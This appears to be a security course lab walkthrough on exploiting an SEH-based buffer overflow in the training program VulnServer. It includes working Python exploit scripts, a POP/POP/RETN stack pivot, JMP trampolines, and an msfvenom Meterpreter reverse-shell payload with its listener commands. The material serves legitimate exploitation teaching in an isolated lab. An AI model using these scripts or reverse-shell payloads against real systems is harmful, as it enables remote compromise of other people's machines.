ED 319: SEH-Based Stack Overflow Exploit (20 pts + 45 pts extra)

Purpose

Learn how the SEH works and how to exploit it in a very simple case.

We will use these techniques:

What You Need

WARNING

VulnServer is unsafe to run. The Windows machine will be vulnerable to compromise. I recommend performing this project on virtual machines with NAT networking mode, so no outside attacker can exploit your windows machine.

Turning Off DEP

On Windows 10, DEP is turned off for non-system apps by default, so no adjustment is needed.

Turning Off SEHOP

SEHOP blocks this attack, but it's turned off by default for 32-bit applications in Windows 10.

Preparing the Vulnerable Server

You probably have Vulnerable Server already from an earlier project, but if you don't, follow the steps below to prepare it.

On your Windows machine, in Internet Explorer, open this page:

http://getfirefox.com

Install Firefox.

In Firefox, go to

http://sites.google.com/site/lupingreycorner/vulnserver.zip

If that link doesn't work, try this alterative download link.

Save the "vulnserver.zip" file in your Downloads folder.

Click Start, "File Explorer". Navigate to your Downloads folder.

In your Downloads folder, right-click vulnserver.

Click "Extract All...", Extract.

A "vulnserver" window opens. Double-click vulnserver.

In the "Open File - Security Warning" box, click OK.

The Vulnserver application opens, as shown below.

Turning Off Windows Firewall

On your Windows desktop, click Start. Type FIREWALL

Click "Windows Defender Firewall".

On the left side, click "Turn Windows Defender Firewall on or off".

Turn off the firewall for all networks. Then click OK.

Finding your Windows Machine's IP Address

In a Command Prompt, execute the IPCONFIG command.

Testing the Server

On your Linux machine, in an SSH session, execute these commands, replacing the IP address with the IP address of your Windows machine.
sudo apt update
sudo apt install netcat -y
nc 10.128.0.10 9999
You should see a banner saying "Welcome to Vulnerable Server!", as shown below.

Type HELP and press Enter. You see a lot of commands. None of these actually do anything useful, but they do take input and process it.

DoS Exploit for the GMON Function

We'll start from a known DoS exploit.

On your Linux machine, in the Terminal window, press Ctrl+C to end the connection to "Vulnerable Server".

Then execute this command:

nano seh1
In nano, enter this code, replacing the IP address with the IP address of your Windows machine.
#!/usr/bin/python3

import socket
server = '172.16.123.130'
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print(s.recv(1024).decode())

prefix = 3551 * b"A"
post = b"X" * (4000 - len(prefix) - 4)
attack = prefix + b"BCDE" + post

s.send((b'GMON /.:/' + attack + b'\r\n'))

Save the file with Ctrl+X, Y, Enter.

Execute these commands to make the file executable and run it.

On your Windows machine, vulnserver crashes and closes.

chmod +x seh1
./seh1

Installing Immunity and Mona

You should already have Immunity and Mona installed. If not, see project "ED 308: Exploiting "Vulnerable Server" on Windows" for instructions to install them.

Running "Vulnerable Server" in Immunity (as Administrator)

On your Windows desktop, right-click "Immunity Debugger" and click "Run as Administrator". In the User Account Control box, click Yes.

If you see a jumble of windows, click Window, CPU and maximize the CPU window.

Maximize the Immunity window.

In Immunity, click File, Open.

In the "open 32-bit executable" box, navigate to your Desktop, open the vulnserver folder, and double-click the vulnserver.exe file.

In the Immunity toolbar, at the top left, click the magenta "Run" button, which is outlined with a red square in the image below.

Click the "Run" button a second time.

Verify that the status in the lower right corner is "Running", as outlined with a green oval in the image below.

Sending an Attack to "Vulnerable Server"

On your Linux machine, execute this command.
./seh1

Analyzing the Crash in Immunity

On the Windows machine, Immunity shows the crash, with this message at the bottom of the window: "Access violation when writing ... -- use Shift+F7/F8/F9 to pass exception to program", as shown below.

Observing the SEH Chain

In Immunity, click View, "SEH Chain".

As shown below, the SEH chain is corrupt, containing the "SE Handler" value of 45444342 which is the "BCDE" text in our attack string--we can control it.

Troubleshooting

If you see something else in the SEH chain, such as 58585858, you need to adjust the exploit to correctly place 45444342 there before proceeding. Change the number of "A" characters in the prefix as needed. This depends on your Windows version. I found that a value of 3519 worked on Windows Server 2008, but I needed 3535 for Windows Server 2016.

Observing Exception Handling

In Immunity, close the SEH window. Click View, CPU. Maximize the CPU window.

Click the magenta Run button.

The message at the bottom appears again, saying "Access violation when writing... -- use Shift+F7/F8/F9 to pass exception to program".

Press Shift+F9. (If you are using VMware Fusion on a Mac, press Shift+fn+F9.) Now Immunity says "Access violation when executing [45444342]", as shown below.

Understanding the Stack Pane

Look at the lower right pane in Immunity. This shows the Stack, as shown below.

The leftmost column shows addresses on the stack, which count up 4 bytes at a time.

The second column shows the contents at that address, which is usually a pointer to something elsewhere in memory.

The fourth column shows the memory contents the pointer points to.

Notice the third line: it says ASCII "AAAABCDEXXXXXXXXXXXXXXX

These are characters from our attack, so we can control them. And we know just where they are, because the "BCDE" starting at the 5th character is the "seh" variable we set.

The Attack Strategy: Stack Pivot

The third word on the stack points to data we control.

All we need to do is find these three instructions in order, and execute them.

POP, POP, RETN

The POPs move to the third word on the stack, and the RETN takes the next word on the stack and places it into the EIP, because it thinks we're returning from a subroutine and that word is the saved EIP from the calling routine.

This maneuver is called a "stack pivot". It's one case of Return Oriented Programming--re-using existing code.

Viewing Modules with MONA

We'll need to find a POP/POP/RETN series of instructions in a module.

In Immunity, at the bottom, there is a white bar. Click in that bar and type this command, followed by the Enter key:


!mona modules
The modules appear, as shown below.

We need to find a module that won't move, as in the previous projects, so we want Rebase = False and ASLR = False.

In addition, we plan to exploit the SEH, so we need SafeSEH = False.

SafeSEH only allows address ranges specified in the EXE file at compile time to be used as SE handlers. That would make this attack very difficult, but, as before, the simple way to avoid it is to find a module compiled without the SafeSEH option.

There are two modules without any of these protections: essfunc.dll and vulnserver.exe. However, vulnserver.exe is loaded too low in memory, so its addresses begin with a null byte.

So the only module we can use is essfunc.dll.

Finding MONA Logs

We'll need to see log files created by Mona. To see where Immunity puts log files, from the Immunity menu bar, click Options, Appearance.

In the Appearance box, click the General tab and then click the Directories tab. Find "UDD path", as shown below, and make a note of it.

Finding ROP Gadgets with Mona

Mona can automatically hunt for useful snippets of code, called "gadgets".

In Immunity, at the bottom, there is a white bar. Click in that bar and type this command, followed by the Enter key:


!mona rop -m essfunc.dll
from the Immunity menu bar, click View, Log.

The log shows "ROP generator finished", as shown below.

Minimize Immunity. Click Start, File Explorer. Navigate to the UDD folder you found previously. In that folder, double-click stackpivot.txt. as shown below.

Troubleshooting

If you can't find the stackpivot.txt file, you may be running Immunity without Administrator privileges.

Close Immunity and restart it by right-clicking the desktop icon and clicking "Run as Administrator".

At the bottom of this file, there's a list of available POP POP RETN locations. as shown below.

We'll use the first one:

0x625010b4


ED 319.1: Message (10 pts.)

In the image above, some text is covered by a green box. That's the flag.

Viewing the Stack Pivot Code

In Immunity, close the "Log Data" window.

From the Immunity menu bar, click View, CPU.

Maximize the CPU window.

In Immunity, click Debug, Restart.

Click Yes.

In the top left pane, right-click and click "Go to", Expression.

In the "Enter expression to follow" box, enter 625010b4 as shown below. Click OK.

As shown below, these instructions have the POP, POP, RET pattern we need.

Testing the Stack Pivot Attack

Now we know what to put into the SEH: 0x625010b4.

And when the exception occurs, that should start executing code 4 bytes before the SEH, so we'll put 3 NOPS and a "\xCC" bytes there, which will cause an INT3, which we can see in the debugger.

On your Linux machine, execute this command to create a file named "seh2":

nano seh2
In nano, enter this code, replacing the IP address with the IP address of your Windows machine.
#!/usr/bin/python3

import socket
server = '172.16.123.130'
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print(s.recv(1024).decode())

prefix = 3547 * b"A"
shell = b"\x90\x90\x90\xCC"
pivot = b"\xb4\x10\x50\x62"
post = b"X" * (4000 - len(prefix) - 8)
attack = prefix + shell + pivot + post

s.send((b'GMON /.:/' + attack + b'\r\n'))

Save the file with Ctrl+X, Y, Enter.

Restarting "Vulnerable Server" in Immunity

In Immunity, click Debug, Restart. Click Yes.

In the Immunity toolbar, click the magenta "Run" button. Click the "Run" button a second time.

Verify that the status in the lower right corner is "Running".

Sending the Attack

On your Linux machine, execute these commmands to make "seh2" executable, and run it.
chmod +x seh2
./seh2

Passing the Exception to the Program

Immunity stops with an "Access violation" in the status bar (at the bottom left), as shown below.

Press Shift+F9. Immunity passes the exception to the corrupted SEH, and execution pivots through the POP, POP, RET to the stack.

Execution stops again with an "INT3 command" in the status bar, as shown below.

In Immunity, in the top left pane, scroll up a few lines. There are three NOP instructions before the INT3 that stopped execution, as shown below. This is our four byte "shell" code.

Viewing the Log

In Immunity, from the menu bar, click View, Log.

Your log should ends with these two messages, as shown below:


ED 319.2: Message (10 pts.)

In the image above, some text is covered by a red box. That's the flag.

Extra Credit

The steps below are not required, but are worth extra credit.

Analyzing the Crash

In Immunity, close the Log window.

In the CPU window, in the top left pane, scroll up a few lines. As shown below, Execution flowed through three "90" NOP commands and stopped at the "CC" byte.

A series of the "A" characters (41) precedes this four-byte sequence.

ASLR and JMP Instructions

Because of Address Space Layout Randomization, we don't know where our injected bytes are located in memory.

The JMP instructions available for the x86 (and x64) processors are shown below, from this page.

The first three are Relative JMPs -- just moving forward or backward a number of bytes relative to the first byte after the JMP. That's what we need here.

The second item, "JMP rel16", is only available when a 32-bit processor is operating in 16-bit mode, which is not true for any modern OS. So there are only two JMPs available for us to use:

JMP rel8 -- two bytes long, can only move 128 bytes
JMP rel32 -- five bytes long, can move very far (in principle, up to 2 GB)

Where to Put Shellcode?

Now we can execute an instruction up to four bytes long, which should jump to our shellcode. But where should we put the shellcode?

Strategy 1: Shellcode After SEH

Here's one strategy we could try: However, there's a problem with that plan. We're near the end of a memory segment.

To see it, in the top left pane of Immunity, right-click the "INT 3" line and click "Follow in Dump", Selection, as shown below.

The lower left pane shows the dump--we are nearly at the end of the memory segment. There are only about 50 usable bytes after the SEH bytes--not enough for typical shellcode (330 bytes or so in size).

In the lower left pane, scroll up to see the "A" characters we injected. There are hundreds of them. This is a good place to put shellcode.

Strategy 2: Shellcode Before SEH and One JMP

Here's a better strategy: However, we only have 4 bytes, and to move 450 bytes, we must use the "JMP rel32" instruction, which takes 5 bytes.

Strategy 3: Shellcode Before SEH and Two JMPs

Here's our winning strategy: The hex codes for "JMP SHORT -10" are explained here, and they are:

EB F6

The hex codes for "JMP -450" are:

E9 2E FE FF FF

Testing the JMPs

We'll add the "JMP SHORT -10", "\xEB\xF6" and the "JMP -450", "\xE9\x2E\xFE\xFF\xFF", and fill in the location for our real shellode with dummy "\xCC" shellcode.

On your Linux machine, execute this command to create a file named "seh3":

nano seh3
In nano, enter this code, replacing the IP address with the IP address of your Windows machine.
#!/usr/bin/python3

import socket
server = '172.16.123.130'
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print(s.recv(1024))

buf = b'\xcc' * 500
prefix = (3547 - len(buf) - 8) * b"A"
jmp450 = b"\x90\x90\xCC\xE9\x3E\xFE\xFF\xFF"
jmp8 = b"\x90\xCC\xEB\xF6"
pivot = b"\xb4\x10\x50\x62"
post = b"X" * (4000 - len(prefix) -len(buf) - 8)
attack = prefix + buf + jmp450 + jmp8 + pivot + post

s.send((b'GMON /.:/' + attack + b'\r\n'))

Save the file with Ctrl+X, Y, Enter.

Restarting "Vulnerable Server" in Immunity

On your Windows machine, in Immunity, click Debug, Restart. Click Yes.

In the Immunity toolbar, click the magenta "Run" button. Click the "Run" button again.

Verify that the status in the lower right corner is "Running".

Sending the Attack

On your Linux machine, execute these commmands.
chmod +x seh3
./seh3

Analyzing the Crash

On the Windows machine, Immunity shows the crash, with this message at the bottom of the window: "Access violation when writing ... -- use Shift+F7/F8/F9 to pass exception to program".

Press Shift+F9. Now Immunity halts at a "CC" instruction, as shown below.

In the top left pane, scroll up a few lines so you can see both the "JMP SHORT" and "JMP instructions, as shown below.

In Immunity, press F7 to step forward.

Press F7 several times to watch the program execute. It should move to the JMP SHORT, then jump back a few bytes before the JMP, and then take the big jump back to big block of "CC" bytes, as shown below.

Finally, we have the ability to inject a lot of code and execute it.

Installing Metasploit on Debian Linux

If you haven't already installed it, execute these commands to install Metasploit:
sudo apt update
sudo apt install curl -y

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall

chmod +x msfinstall
./msfinstall

Generating Reverse-Shell Exploit Code

On your Linux Linux machine, in a Terminal window, execute the command below.
ip a
Find your IP address, as shown below, and make a note of it.

On your Linux Linux machine, execute the command below.

This will create exploit code that connects back to a Meterpreter handler listening on port 4444, on the Linux machine.

Replace the IP address below with the correct address for your Linux machine.

sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.128.0.2 -b '\x00\x0A\x0D' -f python
Highlight the Python attack code. If you are using Google Cloud, it automatically copies to the Clipboard, as shown below. Otherwise, right-click it, and click Copy.

Adding the Shellcode to the Attack

On your Linux machine, execute this commmand to create a "seh4" file.

nano seh4
Enter the code, shown below. Insert your msfvenom shellcode instead of the "buf" lines shown below.
#!/usr/bin/python3

import socket
server = '172.16.123.130'
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print(s.recv(1024).decode())

buf =  b""
buf += b"\xd9\xeb\xbe\x67\xaf\x95\x18\xd9\x74\x24\xf4\x5b\x29"
buf += b"\xc9\xb1\x56\x31\x73\x18\x83\xc3\x04\x03\x73\x73\x4d"
 ...
buf += b"\xe5\x37\xf3\x13\x6c\xd6\xb1\x82\x71\xf3\x14\x1a\x71"
buf += b"\xf0\x8c\xad\x08\x79\x32\x4e\xed\x93\x57\x4f\xed\x9b"
buf += b"\x69\x6c\x3b\xa2\x1f\xb3\xff\x91\x10\x86\xa2\xb0\xba"
buf += b"\xe8\xf1\xc3\xee"

nopsled = b'\x90' * ( 500 - len(buf) - 1 ) + b'\xCC'
prefix = (3547 - len(nopsled) - len(buf) - 8) * b"A"
jmp450 = b"\x90\x90\xCC\xE9\x3E\xFE\xFF\xFF"
jmp8 = b"\x90\xCC\xEB\xF6"
pivot = b"\xb4\x10\x50\x62"
post = b"X" * (4000 - len(prefix) - len(buf) -len(nopsled) - 8)
attack = prefix + nopsled + buf + jmp450 + jmp8 + pivot + post

s.send((b'GMON /.:/' + attack + b'\r\n'))
Save the file with Ctrl+X, Y, Enter.

Restarting "Vulnerable Server" in Immunity

On your Windows machine, in Immunity, click Debug, Restart. Click Yes.

In the Immunity toolbar, click the magenta "Run" button twice.

Verify that the status in the lower right corner is "Running".

Sending the Attack

On your Linux machine, execute these commmands.
chmod +x seh4
./seh4

Watching the Exploit Process

On the Windows machine, Immunity shows the crash, with this message at the bottom of the window: "Access violation when writing ... -- use Shift+F7/F8/F9 to pass exception to program".

Press Shift+F9. Now Immunity halts at a "CC" instruction, as shown below. In the top left pane, scroll up a few lines to see the code before the EIP.

Press F7 to execute the JMP SHORT instruction, and then press F7 twice to execute the JMP instruction.

You end up in the NOP sled, as shown below.

Press F9 to execute the NOP sled.

The code executes down to the start of the msfvenom payload, as shown below. In the top left pane, scroll up a few lines to see the code before the EIP.

Starting a Payload Handler

On your Linux machine, open a new Terminal window and execute these commands:
sudo msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
exploit
You should see a "payload handler" start, as shown below.

Running the Exploit

On your Windows machine, click in the Immunity window to make it active, and then press F9 to run the code.


Flag ED 319.3: Using the Meterpreter Shell (20 pts extra)

On your Linux machine, in the Terminal window running the exploit handler, you should see a Metpreter session open, as shown below.

Execute this command:

sysinfo
The flag appears, covered by a green box in the image below.


ED 319.4: Exploit a Remote Server (25 pts extra)

Exploit this remote server:
nc vulnserver.samsclass.info 1997
Find the flag in this file:
C:\Users\vuln4g\Documents\flag4g.txt
You can download a copy of the server software from:
vuln5g.zip

Hints

  1. First, download the software and run it on your own server in a debugger to develop your exploit.

  2. This server is firewalled, so you can't use a bind shell. You must use a reverse shell, to the External IP address of your Linux attacker, as shown below.

  3. You need to add a firewall rule to let the command and control traffic in, as shown below.

  4. To change directories in a Meterpreter shell with cd, you must double the backslashes, like this:
    cd C:\\Windows
  5. If you crash the server, it will restart in 5 minutes.

  6. Don't forget to remove the '\xCC' opcodes from your exploit.

Sources

SEH Based Overflow Exploit Tutorial

mona.py -- the manual

JMP (x86 instruction)

MinHook - The Minimalistic x86/x64 API Hooking Library (Good JMP Examples)


Posted 8-29-18
Extra credit portion added 9-1-18
Revised for Windows Server 2016 11-5-18
Submit links changed to HTTPS 11-7-18
Ported to new scoring engine 8-6-19
Flag ED 319.3 added 10-9-19
Ported to Windows 10 4-18-2021
Updated to Python 3 4-4-22